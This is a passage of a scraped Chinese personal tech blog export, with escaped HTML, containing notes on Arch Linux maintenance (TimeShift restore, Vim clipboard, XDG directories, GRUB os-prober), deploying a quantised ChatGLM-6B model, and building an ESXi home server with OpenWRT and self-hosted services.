title=\"使用TimeShift备份系统\"\u003e\u003c/a\u003e使用TimeShift备份系统\u003c/h2\u003e\u003cp\u003eTimeShift是一个很好用的系统备份软件,特别是结合了btrfs之后,备份的体积比借助\u003ccode\u003ersync\u003c/code\u003e时更小。\u003c/p\u003e\u003cp\u003e折腾系统时不时可能滚挂,这种时候有个定期创建的映像就很有用了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo timeshift --list \u003cspan class=\"comment\"\u003e# 获取快照列表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo timeshift --restore --snapshot \u003cspan class=\"string\"\u003e\u0026#39;20XX-XX-XX_XX-XX-XX\u0026#39;\u003c/span\u003e --skip-grub \u003cspan class=\"comment\"\u003e# 选择一个快照进行还原,并跳过 GRUB 安装,一般来说 GRUB 不需要重新安装\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果恢复后无法使用,用安装盘通过\u003ccode\u003earch-chroot\u003c/code\u003e进去系统,然后手动更改\u003ccode\u003esubvolid\u003c/code\u003e来手动修复,或者直接删除\u003ccode\u003esubvolid\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 获取subvolid\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo btrfs sub list -u /\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 编辑,根据自己情况,修复\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evim /etc/fstab\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"重启显示管理器(Xorg-x2F-Wayland)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E9%87%8D%E5%90%AF%E6%98%BE%E7%A4%BA%E7%AE%A1%E7%90%86%E5%99%A8%EF%BC%88Xorg-x2F-Wayland%EF%BC%89\" class=\"headerlink\" title=\"重启显示管理器(Xorg/Wayland)\"\u003e\u003c/a\u003e重启显示管理器(Xorg/Wayland)\u003c/h2\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl restart display-manager\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vim\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#Vim\" class=\"headerlink\" title=\"Vim\"\u003e\u003c/a\u003eVim\u003c/h2\u003e\u003cp\u003e装上Arch之后我很快就把Vim装上了。结果发现没法和系统剪贴板联动。在Vim里边检查\u003ccode\u003ehas(clipboard)\u003c/code\u003e之后发现,好像这个Vim不支持剪贴板。\u003c/p\u003e\u003cp\u003e解决方法:装\u003ccode\u003egvim\u003c/code\u003e:\u003ccode\u003esudo pacman -S gvim\u003c/code\u003e。会提示你是否卸载Vim,选是,配置不会删除所以放心删。安装完了之后你就会发现Vim还能用,而且剪贴板功能好了:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230926210217.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"桌面目录映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%A1%8C%E9%9D%A2%E7%9B%AE%E5%BD%95%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"桌面目录映射\"\u003e\u003c/a\u003e桌面目录映射\u003c/h2\u003e\u003cp\u003e今天看到群里一个老哥家目录下的文件都堆到桌面了,顺便了解了一下关于桌面目录映射的问题。因为有时候中文模式创建的家目录下的文件夹都是中文,那个老哥就是改成英文目录的时候遇到了这个问题。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eXDG_DESKTOP_DIR\u003c/code\u003e这个环境变量的介绍,在archWiki上也能翻到。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_Base_Directory\"\u003eXDG_DESKTOP_DIR是一个环境变量,用于指定用户的桌面文件夹的位置。它是XDG Base Directory规范\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_Base_Directory\"\u003e1\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_user_directories\"\u003e的一部分,该规范定义了一些标准的用户目录,如音乐、图片、下载等,以及一些用于存储配置、缓存、数据和状态的目录。XDG_DESKTOP_DIR的默认值是$HOME/Desktop,但用户可以通过编辑~/.config/user-dirs.dirs文件或使用xdg-user-dirs-update命令来修改它\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_user_directories\"\u003e2\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://wiki.archlinux.org/title/Desktop_entries\"\u003eKDE桌面环境遵循XDG Base Directory规范,并使用XDG_DESKTOP_DIR变量来确定桌面文件夹的位置。如果用户更改了XDG_DESKTOP_DIR的值,KDE会自动更新桌面设置,并将桌面文件夹更改为新的位置。这样,用户可以灵活地管理自己的桌面文件夹,而不影响其他应用程序或桌面环境\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/Desktop_entries\"\u003e3\u003c/a\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以出问题的话看看\u003ccode\u003e.config\u003c/code\u003e底下配置炸没炸就行。\u003c/p\u003e\u003ch2 id=\"添加多系统启动项\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%B7%BB%E5%8A%A0%E5%A4%9A%E7%B3%BB%E7%BB%9F%E5%90%AF%E5%8A%A8%E9%A1%B9\" class=\"headerlink\" title=\"添加多系统启动项\"\u003e\u003c/a\u003e添加多系统启动项\u003c/h2\u003e\u003cp\u003e在安装Arch的时候,会发现中间有一步是\u003ccode\u003esudo vim /etc/default/grub\u003c/code\u003e然后\u003ccode\u003egrub-mkconfig -o /boot/grub/grub.cfg\u003c/code\u003e。这一步就是先编辑grub的配置,然后生成grub文件到\u003ccode\u003e/boot/grub/\u003c/code\u003e下的配置文件中。因此,我们如果突然心血来潮想装个Windows玩玩\u003cdel\u003e谁装啊\u003c/del\u003e,就可以改改grub配置让它为我们添加启动项。\u003c/p\u003e\u003cp\u003e因为最终的配置项是由\u003ccode\u003egrub-mkconfig\u003c/code\u003e生成的,所以并不推荐直接修改这个文件。更好的做法是安装\u003ccode\u003eos-prober\u003c/code\u003e,然后挂载其他系统的分区,并编辑grub配置文件启用os探测,最后再用\u003ccode\u003egrub-mkconfig\u003c/code\u003e生成新的grub启动项文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e至于为啥grub现在默认禁用掉了os-prober,注释里边说的是因为安全问题所以禁用掉了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"ChatGLM部署手记","time":"2023-08-22T17:20:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这次部署了一次量化后的模型,大概记录一下部署过程和遇到的问题。\u003c/p\u003e\u003cp\u003e因为显卡显存只有8G,所以部署的是6b的int4量化模型。\u003c/p\u003e\u003ch2 id=\"部署\"\u003e\u003ca href=\"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/#%E9%83%A8%E7%BD%B2\" class=\"headerlink\" title=\"部署\"\u003e\u003c/a\u003e部署\u003c/h2\u003e\u003cp\u003e一般是直接从Hugging Face克隆仓库下来。我当时担心速度不够从清华云盘下载的,不过后来克隆发现速度很快,一般应该是不用担心下载速度的。\u003c/p\u003e\u003cp\u003e首先克隆6b的仓库,然后进入仓库安装依赖:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://github.com/THUDM/ChatGLM-6B \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ChatGLM-6B\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epip install -r requirements.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后下载ChatGLM-6B的模型的量化版本。注意,\u003cstrong\u003e一定要下载所有的文件\u003c/strong\u003e。如果clone不下来,就先把其他小文件下下来,然后在清华网盘下载模型本体:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://huggingface.co/THUDM/chatglm-6b-int4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 量化版本地址:https://cloud.tsinghua.edu.cn/d/674208019e314311ab5c/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,更改cli-demo.py和webui-demo.py中的\u003ccode\u003eTHUDM/chatglm-6b-int4\u003c/code\u003e为你本地的路径:\u003ccode\u003e/path/to/chatglm-6b-int4\u003c/code\u003e即可。\u003c/p\u003e\u003cp\u003e最后,使用python运行即可:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epython3 webui-demo.py\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/#%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"问题\"\u003e\u003c/a\u003e问题\u003c/h2\u003e\u003cp\u003e如果报错的话,可能是缺少 tokenizer 的相关文件:tokenizer_config.json、special_tokens_map.json、tokenization_chatglm.py 和 ice_text.model。将这些文件(位于你下载的模型的目录中)补全即可解决。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/"},{"title":"ESXi折腾小记","time":"2023-07-21T12:32:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"序\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E5%BA%8F\" class=\"headerlink\" title=\"序\"\u003e\u003c/a\u003e序\u003c/h2\u003e\u003cp\u003e其实理论上这玩意早都折腾好了。\u003c/p\u003e\u003cp\u003e只不过不满意于当时的家用板子(B450MK+1500X)对于ESXi兼容性太差,后来又换回了Windows+VMWare的组合。这组合咋用咋不爽,所以最后攒了点钱,整了一套服务器平台(联想的X99板子+E5 2680V4 x2+16G DDR4 ECC,一共大概600大洋),不过因为一些原因拖到最近才空出时间调试好。\u003c/p\u003e\u003ch2 id=\"硬件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A1%AC%E4%BB%B6\" class=\"headerlink\" title=\"硬件\"\u003e\u003c/a\u003e硬件\u003c/h2\u003e\u003cp\u003e本来机子6月已经装好了,但是一直处于开机不亮屏的状态。昨个跟卖家唠嗑了老久,调试了半天才发现这板子好像只知道集成显卡输出,就好像它不知道自己上边还插着个1080一样。\u003c/p\u003e\u003cp\u003e没办法,集显就集显吧,反正确实能用,还能省点电呢(=。=)\u003c/p\u003e\u003cp\u003e进了U盘,启动ESXi镜像,直接开装。因为是服务器板子,所以不用担心网卡支持之类的问题,反正很顺利地装完了。旁边的弱电柜看着挺好,里边还有个交换机来着,但是看到那密密麻麻的走线,折腾了一下就放弃了(而且这玩意要管理还得插串口线,笑死,根本找不到)。\u003c/p\u003e\u003cp\u003e于是直接把机器插到路由器上了。千兆网,爽死。\u003c/p\u003e\u003cp\u003e整好网络配置之后已经很晚了,遂直接回宿舍,来日再整。\u003c/p\u003e\u003ch2 id=\"系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"系统\"\u003e\u003c/a\u003e系统\u003c/h2\u003e\u003cp\u003e昨天才装好ESXi,今天下午急冲冲跑到实验室装好了Ubuntu,然后想整个OpenWRT当旁路由,但是发现目前还没啥必要,于是作罢,就用Ubuntu直接开始吧(反正比Windows好\u003c/p\u003e\u003cp\u003e随便装了装软件啥的。先是试着用刚学的sed给apt换了个源,然后装了docker,zip啥的。有了docker之后,直接把笔记本上的mc服务器扔了上去+docker run光速部署。真香。\u003c/p\u003e\u003cp\u003e然后慢慢折腾回以前的服务。首先是gitea,1.20居然都支持ci/cd了,这不狠狠部署?但是我以前的数据还在硬盘上扔着,于是先整了下物理硬盘的vhd映射。下面记录一下:\u003c/p\u003e\u003cp\u003e打开ESXi的SecureSHell(ssh)服务之后,用它的管理账户密码登录上去,然后运行\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003els\u003c/span\u003e /vmfs/devices/disks/\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查看系统挂载的硬盘信息:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后找到硬盘对应的编号,然后用\u003ccode\u003evmkfstools\u003c/code\u003e把硬盘映射到vhd文件里:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evmkfstools -z /vmfs/devices/disks/[target disk] /vmfs/voluems/datastore1/[target vhd \u003cspan class=\"built_in\"\u003elink\u003c/span\u003e name].vmdk\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成之后,在虚拟机编辑里添加硬盘,选择现有硬盘,在里边找到刚才新建的两个硬盘映射vhd文件。\u003c/p\u003e\u003cp\u003e挂载到虚拟机上之后,开机,我们还得把硬盘挂载到系统上。\u003c/p\u003e\u003cp\u003e硬盘加到虚拟机上之后,一般会以\u003ccode\u003e/dev/sd[a-z]\u003c/code\u003e的形式出现,这种时候只需要用\u003ccode\u003efdisk\u003c/code\u003e康康磁盘上有什么好康的分区就行啦。不过我这盘好像被Windows的快速启动污染了,得先在Windows里挂载一下,正常关机才能挂载到Linux底下。\u003c/p\u003e\u003cp\u003e所以,现在本来要装Windows来着,但是突然发现Vmware里边有个叫上载虚拟机的东东:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230721220805.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后就懒得装了,直接把以前的老虚拟机传上去了。开机前设置下硬盘挂载,然后直接开机再关机,搞定。\u003c/p\u003e\u003cp\u003e配置完成之后,发现果然还是另外整个系统当frp的客户端比较稳定。挑了半天发现还是OpenWRT最方便,于是在\u003ca href=\"https://supes.top/?target=x86/64\u0026amp;id=generic\"\u003eOpenWrt软路由固件下载与在线定制编译\u003c/a\u003e这里下了个x86架构的编译版本装上了。启动之后应该就能正常访问了,就是得先配置下网络的配置文件(我这边为了网络环境方便访问,配置的是bridge桥接模式,所以得手动重新设置网关、地址之类的)。配置相关的内容,恩山有不少内容可以参考。\u003c/p\u003e\u003cp\u003e总之一番折腾下来配好旁路由和内网穿透\u003cdel\u003e以及基本不咋用的局域网代理\u003c/del\u003e之后,折腾就基本结束了\u003c/p\u003e\u003cp\u003e直到我发现安装系统选项底下有个MacOS。装都装了,不试试怎么行呢(不过据了解,黑果在ESXi虚拟化环境下体验不行,更建议物理机\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:等啥时候加个ssd扩容系统盘再说吧。。空间居然不够用了\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"服务\"\u003e\u003c/a\u003e服务\u003c/h2\u003e\u003cp\u003e折腾好服务器了,就得想想作何用途了。整理出来的大概有这些:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eService\u003c/th\u003e\u003cth\u003eDescription\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003egitea\u003c/td\u003e\u003ctd\u003e代码托管和CI/CD\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecloudreve\u003c/td\u003e\u003ctd\u003e私有云,数据管理以及WebDAV数据备份同步\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eminecraft\u003c/td\u003e\u003ctd\u003e这肯定必装啊,大型开放世界游戏(无误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ejupyter\u003c/td\u003e\u003ctd\u003e都装N卡了,不玩玩深度学习?\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edatabase\u003c/td\u003e\u003ctd\u003e当Web服务后端,香就一个字\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecompile\u003c/td\u003e\u003ctd\u003e这可是56线程啊,我以后写个helloworld都要\u003ccode\u003emake -j56\u003c/code\u003e(大声\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecalculate\u003c/td\u003e\u003ctd\u003e渲染和其他计算任务倒是可以试试丢上来跑\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003evm server\u003c/td\u003e\u003ctd\u003e给别人也整几个虚拟机用用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eweb services\u003c/td\u003e\u003ctd\u003e挂点WEB服务上去,岂不美哉\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003emirror 